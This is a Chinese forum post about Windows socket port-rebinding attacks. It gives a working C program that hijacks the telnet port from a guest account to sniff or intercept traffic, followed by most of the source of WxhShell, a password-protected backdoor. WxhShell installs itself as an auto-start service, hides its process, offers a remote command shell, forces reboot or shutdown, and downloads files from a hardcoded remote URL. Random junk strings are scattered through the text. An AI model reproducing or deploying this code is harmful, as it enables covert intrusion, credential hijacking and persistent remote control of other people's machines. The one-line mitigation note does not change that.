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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WvVHSa4{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZGrjb22M  
)2T1g~8  
  saddr.sin_family = AF_INET; sr%tEKba)  
=)}m4,LA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c%-s_8zvi  
y\L$8BSL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Srw ciF  
N=hr%{} c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4/; X-  
' O1X+  
  这意味着什么?意味着可以进行如下的攻击: #@xSR:m  
rJi;"xF8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2*:lFv wP  
WJvD,VMz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jT/SZ|S  
VXEA.Mko  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JEq0{_7  
cn1CM'Ru  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~7aBli=  
~#3h-|]*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gxk=]5<7  
.U|e#t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V {R<R2h1  
g _fvbVX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Bs2.$~   
oK1"8k|Z  
  #include QA_SS'*  
  #include v#u]cmI  
  #include $r%m<Uc;}O  
  #include    '~i;g.n=}-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Zj;2>  
  int main() MIo5Y`T  
  { sIQd }  
  WORD wVersionRequested; hYRGIpu5  
  DWORD ret; 4?YhqJ  
  WSADATA wsaData; |eT?XT<=o  
  BOOL val; ]eA<  
  SOCKADDR_IN saddr; ( XYYbP  
  SOCKADDR_IN scaddr; @a,X{ 0  
  int err; `c@KlL*!Q  
  SOCKET s; fF !Mmm"  
  SOCKET sc; [OFg (R-  
  int caddsize; R:S Fj!W1  
  HANDLE mt; "5Oi[w&F5  
  DWORD tid;   }m NP[L  
  wVersionRequested = MAKEWORD( 2, 2 ); m)4s4P57y  
  err = WSAStartup( wVersionRequested, &wsaData ); jSbO1go#  
  if ( err != 0 ) { pVe@HJy6G  
  printf("error!WSAStartup failed!\n"); V&4)B &W  
  return -1; yP2[!vYw  
  } %m[ :},  
  saddr.sin_family = AF_INET; :_v/a+\n  
   SpbOvY=>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O)C y4[  
-.ITcD g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -Si'[5@  
  saddr.sin_port = htons(23); U1(<1eTyu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \.p{~ Hv  
  { Hb5^+.xur  
  printf("error!socket failed!\n"); V#jFjObTN  
  return -1; C$`z23E  
  } l{wHu(1  
  val = TRUE; b}'XDw   
  //SO_REUSEADDR选项就是可以实现端口重绑定的  Qj(q)!Ku  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "'p;Udt/Qm  
  { oj*5m+:>a  
  printf("error!setsockopt failed!\n"); *k'D%}N:  
  return -1; <%klrQya  
  } NikY0=i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !f\,xa|M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c]jK Y<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y05(/NH>  
pUby0)}t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m#Rgelhk.  
  { 'c[4-m3bg  
  ret=GetLastError(); q%8%J'Fro  
  printf("error!bind failed!\n"); J<dr x_gc  
  return -1; -+4:} sD  
  } D-*`b&i48  
  listen(s,2); Y%!3/3T  
  while(1) g+BW~e)  
  { :NJb<%$  
  caddsize = sizeof(scaddr); *IWO ,!  
  //接受连接请求 ]5IG00`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tU7,nE>p  
  if(sc!=INVALID_SOCKET) Rb=T'x'  
  { V D+TJ` r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [O*5\&6  
  if(mt==NULL) j3|Ek  
  { "o&_tB;O  
  printf("Thread Creat Failed!\n"); WP&P#ju&  
  break; \y?Vou/  
  } t(/b'Peq  
  } |T7 < !  
  CloseHandle(mt); cy|]}n85  
  } Nzj7e 1=  
  closesocket(s); i6wLM-.)  
  WSACleanup(); 68 d\s 4  
  return 0; HHu|X`tc  
  }   "R@N}q<*v2  
  DWORD WINAPI ClientThread(LPVOID lpParam) Unev[!  
  { aRg/oA4}  
  SOCKET ss = (SOCKET)lpParam; j|3p.Cy  
  SOCKET sc; TS+itU62  
  unsigned char buf[4096]; H@0i}!U64  
  SOCKADDR_IN saddr; 2\&uO   
  long num; JmB7tRM8  
  DWORD val; Lf_`8Ux  
  DWORD ret; `` (D01<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wN/d J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o>x*_4[  
  saddr.sin_family = AF_INET; r@L19d)J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q?Vq/3K;  
  saddr.sin_port = htons(23); KK" uSC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nxH=Ut7{  
  { ^t4T8ejn  
  printf("error!socket failed!\n"); -U;2 b_  
  return -1; I3uS?c  
  } dr3#?%  
  val = 100; :-HVK^$%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i-Ck:-J  
  { 6W&huIQ[  
  ret = GetLastError(); IB#L5yN r  
  return -1; `hYj0:*)S$  
  } >?K@zsv}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F VBuCi?W  
  { yVd}1bX  
  ret = GetLastError(); 27q 9zi!Q  
  return -1; R}lS@w1  
  } lN$#lyy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Dd8*1,  
  { $p@V1"x  
  printf("error!socket connect failed!\n"); } MBxfZ4I  
  closesocket(sc); dc UaZfON  
  closesocket(ss); h-u63b1"?  
  return -1;  m~"<k d  
  } 7Pspx'u  
  while(1) {HPKp&kl  
  { Lqy]bnY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?EF[OyE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M]&F1<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !v(j#N< m  
  num = recv(ss,buf,4096,0); C5mq@$6  
  if(num>0) {xb8H  
  send(sc,buf,num,0); dLl/V3C6t  
  else if(num==0) -Z )j"J  
  break; e]-bB#-A  
  num = recv(sc,buf,4096,0); 5P~{*of  
  if(num>0) @Bs7kjuX  
  send(ss,buf,num,0); A?[06R5E#  
  else if(num==0) x*GGO)r  
  break; nxH+XHv  
  } TZ8:3ti  
  closesocket(ss); Y?G9d6]Lk6  
  closesocket(sc); "&(.Z(  
  return 0 ; S*,DX~vig  
  } ST'M<G%4E  
`j+aAxJ=\  
k?-GI[@X  
==========================================================  WK;X6`  
M6J~%qF^  
下边附上一个代码,,WXhSHELL $g? ]9}p  
. 7WNd/WG  
========================================================== W@<(WI3  
e<wA["^  
#include "stdafx.h" 4^h_n1 A  
4%#Y)z o.e  
#include <stdio.h> n[$bk_S  
#include <string.h> |HhqWja  
#include <windows.h> " %$jl0i_c  
#include <winsock2.h> B3 fKb#T  
#include <winsvc.h> !DgN@P.o  
#include <urlmon.h> 67Z@Hg  
5~GHAi  
#pragma comment (lib, "Ws2_32.lib") n/$1&x1  
#pragma comment (lib, "urlmon.lib") k=D_9_  
<1i:Z*l.  
#define MAX_USER   100 // 最大客户端连接数 r(=  
#define BUF_SOCK   200 // sock buffer nn'a` N  
#define KEY_BUFF   255 // 输入 buffer !,8jB(  
j >f  
#define REBOOT     0   // 重启 [-}LEH1[p  
#define SHUTDOWN   1   // 关机 ^Pqj*k+F  
XV)<Oavs  
#define DEF_PORT   5000 // 监听端口 '%U'%')  
WE;QEA/  
#define REG_LEN     16   // 注册表键长度 5[<" _  
#define SVC_LEN     80   // NT服务名长度 #O3Y#2lI  
9eOP:/'}w  
// 从dll定义API 6lW\-h`N G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tf?syk+jB7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PvW {g5)S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \*] l'>x1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (`C#Tq  
PuyJ:#a  
// wxhshell配置信息 88%7  
struct WSCFG { |C;8GSw>|F  
  int ws_port;         // 监听端口 uL!QeY>k\  
  char ws_passstr[REG_LEN]; // 口令 hp ?4w),  
  int ws_autoins;       // 安装标记, 1=yes 0=no @~t^zI1  
  char ws_regname[REG_LEN]; // 注册表键名 nymF`0HYe1  
  char ws_svcname[REG_LEN]; // 服务名 $7k"?M_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zx<:1nF,]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K?]><z{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OP:i;%@c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c8uFLM j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 YS'Tf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C(N' +VV_  
/ =]h@m-`  
}; 3$<u3Zi6  
 UZJ^ e$N  
// default Wxhshell configuration 7X+SK&PX  
struct WSCFG wscfg={DEF_PORT, SZVNu*G!H  
    "xuhuanlingzhe", yjcZTvjJ  
    1, wm1`<r^M.  
    "Wxhshell", *`D}voU  
    "Wxhshell", pxf(C<y6_  
            "WxhShell Service", Bi}uL)~rD  
    "Wrsky Windows CmdShell Service", M8_f{|!&  
    "Please Input Your Password: ", ;U+4!N  
  1, 0j{Rsy   
  "http://www.wrsky.com/wxhshell.exe", =K#5I<x  
  "Wxhshell.exe" Ka\h a  
    }; dJvT2s.t[  
m |Isi  
// 消息定义模块 2bu,_<K.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l', +l{\Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j@g`Pm%u`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^,-2";2Xh  
char *msg_ws_ext="\n\rExit."; Z5x&P_.x[  
char *msg_ws_end="\n\rQuit."; RCZ"BxleU  
char *msg_ws_boot="\n\rReboot..."; r{+P2MPW  
char *msg_ws_poff="\n\rShutdown..."; QMO.Bnek  
char *msg_ws_down="\n\rSave to "; a^{"E8j  
z@za9U`6i  
char *msg_ws_err="\n\rErr!"; xxnvz  
char *msg_ws_ok="\n\rOK!"; Jcy{ ~>@7  
FX1[ 2\  
char ExeFile[MAX_PATH]; pCacm@(hG  
int nUser = 0; ~&}e8ah2  
HANDLE handles[MAX_USER]; P8& BtA  
int OsIsNt; |DUWB;  
RA];hQI?  
SERVICE_STATUS       serviceStatus; o]R*6$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '{>R-}o[3  
1>~bzXY#  
// 函数声明 0H9UM*O  
int Install(void); #BLx +mLq  
int Uninstall(void); pL [JGn  
int DownloadFile(char *sURL, SOCKET wsh); \&!qw[;O  
int Boot(int flag); RpmOg  
void HideProc(void); Py@/\V  
int GetOsVer(void); X }V}%  
int Wxhshell(SOCKET wsl); gWK[%.Jnw  
void TalkWithClient(void *cs); 8]@$7hy8  
int CmdShell(SOCKET sock); pY~/<lzW  
int StartFromService(void); 4D'AAr57  
int StartWxhshell(LPSTR lpCmdLine); WilKC|R]P  
Zk:Kux[7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?Yf0h_>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mJU1n  
-v@LJCK7I  
// 数据结构和表定义 ]z77hcjB1  
SERVICE_TABLE_ENTRY DispatchTable[] =  cFD3  
{ C%RYQpY*c  
{wscfg.ws_svcname, NTServiceMain}, " ""k}M2A  
{NULL, NULL} +nAbcBJAl  
}; o;kxu(>yL'  
6 2*p*t  
// 自我安装 qr@ <'wp/  
int Install(void) #ET y#jKL  
{ E4QLXx6Wa&  
  char svExeFile[MAX_PATH]; {P {h|+;  
  HKEY key; Tr@|QNu  
  strcpy(svExeFile,ExeFile); wU}%]FqtZ=  
.&i_~?1[N  
// 如果是win9x系统,修改注册表设为自启动 @sdHB ./  
if(!OsIsNt) { v\Y8+dD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zJ*(G_H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9$q35e  
  RegCloseKey(key); ''Y'ZsQ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `R!%k]$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L*#W?WMM v  
  RegCloseKey(key); VbI$#;:[7  
  return 0; |Cm6RH$(  
    } Ee3 -oHa  
  } ,{C hHnJ%#  
} :<P3fW  
else { 2MU$OI0|  
g\2/Ia+/@  
// 如果是NT以上系统,安装为系统服务 BjyV&1tRV!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |[_%zV;p>v  
if (schSCManager!=0) #E$*PAB  
{ ]x(cX&S-9  
  SC_HANDLE schService = CreateService |!q,J  
  ( elGwS\sw  
  schSCManager, -=W Qed}  
  wscfg.ws_svcname, >bFrJz}  
  wscfg.ws_svcdisp, kXroFLrY  
  SERVICE_ALL_ACCESS, (V x2*Aw]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OLZs}N+;]  
  SERVICE_AUTO_START, Gk']Ma2J}  
  SERVICE_ERROR_NORMAL, G' '9eV$  
  svExeFile, 8l l}"  
  NULL, q o6~)Aws  
  NULL, &_$0lI DQ  
  NULL, Qv W vS9]  
  NULL, ";U#aK1p  
  NULL 8-"D.b4  
  ); ]~:WGo=_  
  if (schService!=0) QJy1j~9x  
  { 2,6~;R  
  CloseServiceHandle(schService); $%6.lQ  
  CloseServiceHandle(schSCManager); yvWM]A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w9w=2 *  
  strcat(svExeFile,wscfg.ws_svcname); Sq SiuO.D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &+]-e;[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?,`g h}>  
  RegCloseKey(key); ]++,7Z\AU  
  return 0; w m|WER*.  
    } YTD&swk  
  } [XhG7Ly  
  CloseServiceHandle(schSCManager); <U y $b4h  
} ,4j^ lgJ  
} =o:1Rc7J  
m}(M{^\|  
return 1; ,R\ex =c  
} .L~ NX/V  
-asjBSo*D  
// 自我卸载 SyI\ulmL  
int Uninstall(void) T#\=v(_NR  
{  (l-l Y  
  HKEY key; '=`af>Nc  
|'``pq/}_  
if(!OsIsNt) { Nwo*tb:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AqAL)`#K  
  RegDeleteValue(key,wscfg.ws_regname); u2S8D uJ  
  RegCloseKey(key); CofTTYl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Z2{S-)UM  
  RegDeleteValue(key,wscfg.ws_regname); l{gR6U{e  
  RegCloseKey(key); I7\T :Q[  
  return 0; +K s3  
  } "rrw~  
} vm7ag 7@O  
} q|}O-A*wa  
else { fR b  
h$XoR0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >`l^ C  
if (schSCManager!=0) ;H3~r^>c  
{ UIkO_/}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); * a^wYWa  
  if (schService!=0) ,9M2'6=  
  { :Q,~Nw>  
  if(DeleteService(schService)!=0) { @?jbah#  
  CloseServiceHandle(schService); p"6ydXn%  
  CloseServiceHandle(schSCManager); IML.6<,(Z  
  return 0; ma xpR>7`j  
  } nIZsKbnw  
  CloseServiceHandle(schService); E[i#8_  
  } QnJLTBv  
  CloseServiceHandle(schSCManager); kRr/x-"  
} eE_$ADEf  
} O6,2M[a  
_kc}:  
return 1; &7,:: $cu  
} [Op^l%BC  
ILx4 [m7  
// 从指定url下载文件 )%b 5uZ  
int DownloadFile(char *sURL, SOCKET wsh) Vry*=X &Q  
{ 2r!- zEV  
  HRESULT hr; (+6N)9rj`/  
char seps[]= "/"; #Cx#U"~G`  
char *token; Z^BZH/I?  
char *file; PC\p>6xT  
char myURL[MAX_PATH]; J7sH]  
char myFILE[MAX_PATH]; e _(';Lk  
liqVfB%  
strcpy(myURL,sURL); ^oYRB EIJH  
  token=strtok(myURL,seps); 6XHM`S  
  while(token!=NULL) 0Y'ow=8M  
  { 3<l}gB'S[  
    file=token; AiL80W^=d)  
  token=strtok(NULL,seps); v0TbQ  
  } >oN Wf  
}]M'f:%b  
GetCurrentDirectory(MAX_PATH,myFILE); \=P(?!v  
strcat(myFILE, "\\"); %O!TS_~9  
strcat(myFILE, file); kT]jJbb"  
  send(wsh,myFILE,strlen(myFILE),0); ]0O3kiVQ  
send(wsh,"...",3,0); ,xR u74  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~Q#! oh'i  
  if(hr==S_OK) H )>3c1  
return 0; lWH#/5`h  
else _#Lq~02 %  
return 1; ]t~'wL#Z  
Mnk-"d  
} ,c0t#KgQ.  
E3(o}O  
// 系统电源模块 D+jE{v'  
int Boot(int flag) +* F e   
{ D>^g2!b:  
  HANDLE hToken; orYZ<,u  
  TOKEN_PRIVILEGES tkp; ;at1|E*  
mfF `K2R  
  if(OsIsNt) { XH(-anU"!P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y DW^N] G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %iME[| u&  
    tkp.PrivilegeCount = 1; :yE0DS<_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &*E! %57  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L7nG5i  
if(flag==REBOOT) { (>Nwd^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '@ p464  
  return 0; :xTm- L  
} (74y2U6  
else { ;y{(#X#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?S9vYaA$  
  return 0; a@Zolz_Z  
} e2BC2K0  
  } f`*VNB`  
  else { WgG$ r  
if(flag==REBOOT) { )#1!%aQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I;1)a4Xc4R  
  return 0; 2ga8 G4dU  
} SkC.A ?  
else { b#"&]s-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -E3cS  
  return 0; s|:1z"q  
} uL@%M8n  
} DF>tQ  
\YFM5l;IU  
return 1; OHW|?hI=[  
} @ULWVS#t2  
<`G-_VI  
// win9x进程隐藏模块 +S+=lu _  
void HideProc(void) FC~%G&K/q^  
{ Xh}D_c  
fYzP4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X$@qs9?)^  
  if ( hKernel != NULL ) Ryygq,>VD.  
  { )FmIL(vu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k.jBu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 49<t2^1q  
    FreeLibrary(hKernel); )y Zr]  
  } 6|{&7=1t  
yGSZ;BDW:K  
return; Gg]Jp:GF  
} %rgW}Z5  
=F Y2O`%a  
// 获取操作系统版本 fBh/$    
int GetOsVer(void) Hq,@j{($  
{ tl*h"du^  
  OSVERSIONINFO winfo; Qca3{|r`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wf1p/bpf  
  GetVersionEx(&winfo); >@ xe-0z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .p*?g;  
  return 1; 7&OJ8B/  
  else {IvA 5^  
  return 0; |Ldvfd  
} )''V}Zn.X  
EaHJl  
// 客户端句柄模块 uFb 9Ic]`  
int Wxhshell(SOCKET wsl) ( ;^>G[  
{ GQJ4d-w  
  SOCKET wsh; hQ!59  
  struct sockaddr_in client; jN'h/\  
  DWORD myID; L, #|W  
'*&dP"  
  while(nUser<MAX_USER) { o5^nd  
{ ;"ESN)*|i  
  int nSize=sizeof(client); ]NI CQ9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <5 OUk  
  if(wsh==INVALID_SOCKET) return 1; :vx<m_  
T9!NuKfur  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -meY[!"X  
if(handles[nUser]==0) lKQevoy'  
  closesocket(wsh); c#`IF6qj  
else dFhyT.Y?  
  nUser++; vF pKkS343  
  } 7jQVm{{.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .pdcwd9  
#$W0%7  
  return 0; 6Z' K1  
} ?G!~&  
?8?vBkz~  
// 关闭 socket O"df5x9@  
void CloseIt(SOCKET wsh) rnQ_0d  
{ X9SOcg3a  
closesocket(wsh); ;ND[+i2MN  
nUser--; ^OX}y~'  
ExitThread(0); .T ,HtHe  
} -*~ @?  
vfvp#  
// 客户端请求句柄 YTmHht{j#  
void TalkWithClient(void *cs) \%bJXTK&W  
{ (=fLWK{8  
guGX  G+  
  SOCKET wsh=(SOCKET)cs; GoAh{=s  
  char pwd[SVC_LEN]; (xWsyo(4  
  char cmd[KEY_BUFF]; Iz j-,a  
char chr[1]; e8wPEDN*4  
int i,j; SdYb T)y  
vu91" 4Fa  
  while (nUser < MAX_USER) { [hpkE lE  
=<m!% /I  
if(wscfg.ws_passstr) { QxxPImubB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?6nB=B)/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QT73=>^B  
  //ZeroMemory(pwd,KEY_BUFF); K|$ c#X  
      i=0; Fj2z$   
  while(i<SVC_LEN) { cQ1Axs TO  
+:=FcsY  
  // 设置超时 a~a:mM > p  
  fd_set FdRead; L-S5@;"  
  struct timeval TimeOut; {X{S[(|  
  FD_ZERO(&FdRead); |r,})o>  
  FD_SET(wsh,&FdRead); x{zZ%_F  
  TimeOut.tv_sec=8; YcclO  
  TimeOut.tv_usec=0; 0'.z|Jg=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jF j'6LT9/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iWC}\&i  
X am8h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `H>&d K|/  
  pwd=chr[0]; p8@8b "  
  if(chr[0]==0xd || chr[0]==0xa) { 0vX6n6G}  
  pwd=0; -u<F>C  
  break; r79 P|)\  
  } S9 $t9o  
  i++; i>[xN[U(  
    } M*D_p n&  
Tp{ jR<  
  // 如果是非法用户,关闭 socket 1#7|au%:)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |4P8N{ L>O  
} K@xMPB8in  
~TXu20c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rtQ{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b?Uk%Z]+v  
u0sN[<  
while(1) { $gz8! f?  
F?]J`F\I  
  ZeroMemory(cmd,KEY_BUFF); vE8'B^h1  
2|i1}  
      // 自动支持客户端 telnet标准   UF6U5],`u  
  j=0; ~*y7%L4B  
  while(j<KEY_BUFF) { ; S$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L;?F^RK{U  
  cmd[j]=chr[0]; cJ@fJ|  
  if(chr[0]==0xa || chr[0]==0xd) { RU'a 8j+W  
  cmd[j]=0; S{8-XiL,  
  break; <ta{)}IN^  
  } +l/kH9m  
  j++; LVm']_K(f  
    } 9xq3>(  
ZsXw]Wa  
  // 下载文件 ("j;VqYUL  
  if(strstr(cmd,"http://")) { 5lP8#O?=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N~IAm:G}[  
  if(DownloadFile(cmd,wsh)) 1!;~Y#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ((#BU=0iK  
  else D_$N2>I-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DbB<8$  
  } nvLdgu4P>  
  else { <pa-C2Ky  
d}Guj/cx,  
    switch(cmd[0]) { -AD` (b7q  
  '%ZKvZ-  
  // 帮助 pO5j-d *  
  case '?': { S^|`*%pq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qzA_ ~=g  
    break; $ kHXt]fU  
  } +zk5du^gZ  
  // 安装 wme#8/eUk  
  case 'i': { 4guR8 elM  
    if(Install()) t\ z@k9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=M4Z/Ao  
    else .o]I^3tf c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "M/) LXn:0  
    break; Q(aNa!  
    } sq(5k+y*J  
  // 卸载 r r\u)D#)  
  case 'r': { $M0l (htR  
    if(Uninstall()) Sw; kUJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fq <JxamR  
    else I~YV&12  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `uk=2k}&m  
    break; }1[s,  
    } /U!B2%vq_  
  // 显示 wxhshell 所在路径 +aM[!pW(e  
  case 'p': { st)v'ce,  
    char svExeFile[MAX_PATH]; a'Odw2Q_  
    strcpy(svExeFile,"\n\r"); $8&Y(`  
      strcat(svExeFile,ExeFile); )6X-m9.X  
        send(wsh,svExeFile,strlen(svExeFile),0); WjR2:kT  
    break; TB&IB:4)R  
    } cfv: Ld m  
  // 重启 ~8(Xn2  
  case 'b': { ;8K> ]T)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?f3R+4  
    if(Boot(REBOOT)) B=%%3V)2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{nk,j L  
    else { Akc |E!V  
    closesocket(wsh); u*5}c7)uId  
    ExitThread(0); 4|5;nxkGm8  
    } \4j_K*V  
    break; _w %:PnO  
    } ??P\v0E  
  // 关机 0m.`$nlV-  
  case 'd': { <*^|Aj|#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kb"Fw:0  
